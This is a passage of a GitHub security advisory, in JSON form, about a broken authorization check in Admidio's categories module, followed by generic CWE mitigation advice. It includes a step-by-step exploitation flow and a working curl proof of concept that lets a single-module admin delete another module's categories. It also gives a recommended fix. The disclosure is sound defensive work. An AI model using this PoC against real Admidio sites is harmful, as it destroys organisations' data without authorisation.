\u0027USF\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n    || ($getType === \u0027IVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())) {\n    throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n}\n\nif (in_array($getType, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027))) {           // \u003c- DEAD CODE\n    // check if this category is editable by the current user and current organization\n    if (!$category-\u003eisEditable()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n}\n```\n\nThe `in_array($getType, array(\u0027edit\u0027,\u0027save\u0027,\u0027delete\u0027))` test compares the category-type code to mode names. `$getType` can only be `ANN`, `AWA`, `EVT`, `FOT`, `LNK`, `ROL`, `USF`, or `IVT` (it is rejected by `admFuncVariableIsValid` if it is anything else), so the array intersection is permanently empty. The intended check was probably `in_array($getMode, array(\u0027edit\u0027,\u0027save\u0027,\u0027delete\u0027))`. As written, `$category-\u003eisEditable()` is never called from this entry point, and the `$category` symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful.\n\n`modules/categories.php:99-110` \u2014 the `delete` switch case just loads the category by UUID and deletes it, with no per-record permission check:\n\n```php\ncase \u0027delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    $menu = new Category($gDb);\n    $menu-\u003ereadDataByUuid($getCategoryUUID);\n    $menu-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n`modules/categories.php:112-123` \u2014 the `sequence` switch case has the same shape.\n\n`Category::delete()` blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does *not* check whether the category\u0027s `cat_type` matches a module the actor has rights over.\n\n### exploitation flow\n\n1. Attacker has `Announcements administrator` (or any other single module-admin right) but is **not** a roles / inventory / weblinks administrator.\n2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting `modules/categories.php?type=\u003ctheir_type\u003e\u0026mode=list`.\n3. Attacker requests `POST /modules/categories.php?mode=delete\u0026type=ANN\u0026uuid=\u003cUUID-of-foreign-category\u003e` carrying their valid `adm_csrf_token`. `type=ANN` satisfies the rights gate at line 47-58 (they are an announcements admin). The dead `if` at line 56 does not fire. The switch falls into `case \u0027delete\u0027:` which deletes the category without re-checking the type.\n4. Server replies `{\"status\":\"success\"}`. The cross-module category is gone.\n\nThe same primitive applies to `mode=sequence` (reorder), and to `mode=save` for editing the category\u0027s name and description.\n\n## PoC\n\nTested on a fresh install of HEAD `c5cde53` running on PHP 8.4 + MariaDB 11.8 at `http://127.0.0.1:8085`. Reproduces in two requests. `testadmin` is the bootstrap administrator created during install; `annadmin` is a freshly-created user whose only role is `Association\u0027s board` with `rol_announcements=1` (no roles / inventory / weblinks rights).\n\n```\n# 0. set-up: confirm starting state of the cross-module category\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \\\n    -e \"SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type=\u0027ROL\u0027 AND cat_name=\u0027TEAMS\u0027;\"\ncat_id  cat_uuid                              cat_type  cat_name\n7       846536b9-2582-4845-a5ff-dee06f3212c7  ROL       TEAMS\n\n# 1. login as annadmin (announcements admin only) and capture session + csrf\n$ curl -s -c $C -b $C \"http://127.0.0.1:8085/index.php?module=auth\" \u003e /dev/null\n$ html=$(curl -s -c $C -b $C \"http://127.0.0.1:8085/system/login.php?...\")\n$ csrf=$(grep -oE \u0027adm_csrf_token[^\"]+value=\"[^\"]+\u0027 /tmp/login.html | head -1 | ...)\n$ curl -s -c $C -b $C \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"adm_login_name=annadmin\" \\\n    --data-urlencode \"adm_password=Annpwd123!\" \\\n    \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"...\"}\n\n# 2. as annadmin, GET the categories page once to seed an in-session form key\n$ html=$(curl -s -b $C \"http://127.0.0.1:8085/modules/categories.php?type=ANN\u0026mode=list\")\n$ csrf=$(echo \"$html\" | grep -oE \u0027adm_csrf_token[^\"]+value=\"[^\"]+\u0027 | head -1 | sed \u0027s/.*value=\"//\u0027)\n\n# 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=\u003cROL category\u003e\n$ curl -s -b $C \\\n    -X POST \\\n    --data-urlencode \"adm_csrf_token=$csrf\" \\\n    --data-urlencode \"direction=\" \\\n    \"http://127.0.0.1:8085/modules/categories.php?mode=delete\u0026type=ANN\u0026uuid=846536b9-2582-4845-a5ff-dee06f3212c7\"\n{\"status\":\"success\"}\n\n# 4. verify the row is gone \u2014 annadmin had no role-administrator rights\n$ mariadb ... admidio -e \"SELECT * FROM adm_categories WHERE cat_uuid=\u0027846536b9-2582-4845-a5ff-dee06f3212c7\u0027;\"\n(no rows)\n```\n\nThe same chain with `mode=sequence\u0026direction=UP` reorders a foreign category. With `mode=save`, an attacker can rename the foreign category and (via the unprotected `cat_type` rebind in `CategoryService::save()` line 210) re-tag it to a different module type, breaking referential consistency.\n\n## Impact\n\nAny user with at least one module-administrator right can delete or reorder admin-managed categories of other modules:\n\n- Role categories (the structural grouping of all roles in the organisation)\n- Event calendars (each calendar is a category of type `EVT`)\n- Profile-field categories (the grouping of which fields are shown on which profile tab)\n- Weblink categories\n- Forum categories (`FOT`)\n- Inventory categories (`IVT`)\n\n`Category::delete()` blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the *default* category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit \"Default Category\" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state.\n\nThe CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. `PR:L` because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). `I:H` because data is destroyed and there is no in-product undo. `A:N` because the system stays up; only the affected module\u0027s metadata is gone.\n\n## Recommended Fix\n\nReplace the dead `if (in_array($getType, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027)))` block with a real check on `$getMode` plus a per-record `isEditable()` test that re-derives the module from `cat_type`:\n\n```php\nif (in_array($getMode, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027, \u0027sequence\u0027), true) \u0026\u0026 $getCategoryUUID !== \u0027\u0027) {\n    $category = new Category($gDb);\n    $category-\u003ereadDataByUuid($getCategoryUUID);\n\n    if ($category-\u003eisNewRecord()) {\n        throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n    }\n\n    // re-check rights against the *record\u0027s* cat_type, not the user-supplied type\n    $recordType = $category-\u003egetValue(\u0027cat_type\u0027);\n    if (   ($recordType === \u0027ANN\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorAnnouncements())\n        || ($recordType === \u0027AWA\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n        || ($recordType === \u0027EVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorEvents())\n        || ($recordType === \u0027FOT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorForum())\n        || ($recordType === \u0027LNK\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorWeblinks())\n        || ($recordType === \u0027ROL\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorRoles())\n        || ($recordType === \u0027USF\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n        || ($recordType === \u0027IVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n\n    if (!$category-\u003eisEditable()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n}\n```\n\nAdditionally, `CategoryService::save()` should refuse to mutate `cat_type` when editing an existing record (drop the `$this-\u003ecategoryRessource-\u003esetValue(\u0027cat_type\u0027, $this-\u003etype)` at line 210, or set it only when `isNewRecord()`).\n\nA regression test should call `categories.php?mode=delete\u0026type=ANN\u0026uuid=\u003cROL-category\u003e` as a user with only `isAdministratorAnnouncements()` and assert the response is `SYS_NO_RIGHTS` rather than `success`.",
  "id": "GHSA-rwjr-qjj3-mq2f",
  "modified": "2026-05-29T21:57:05Z",
  "published": "2026-05-29T21:57:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rwjr-qjj3-mq2f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.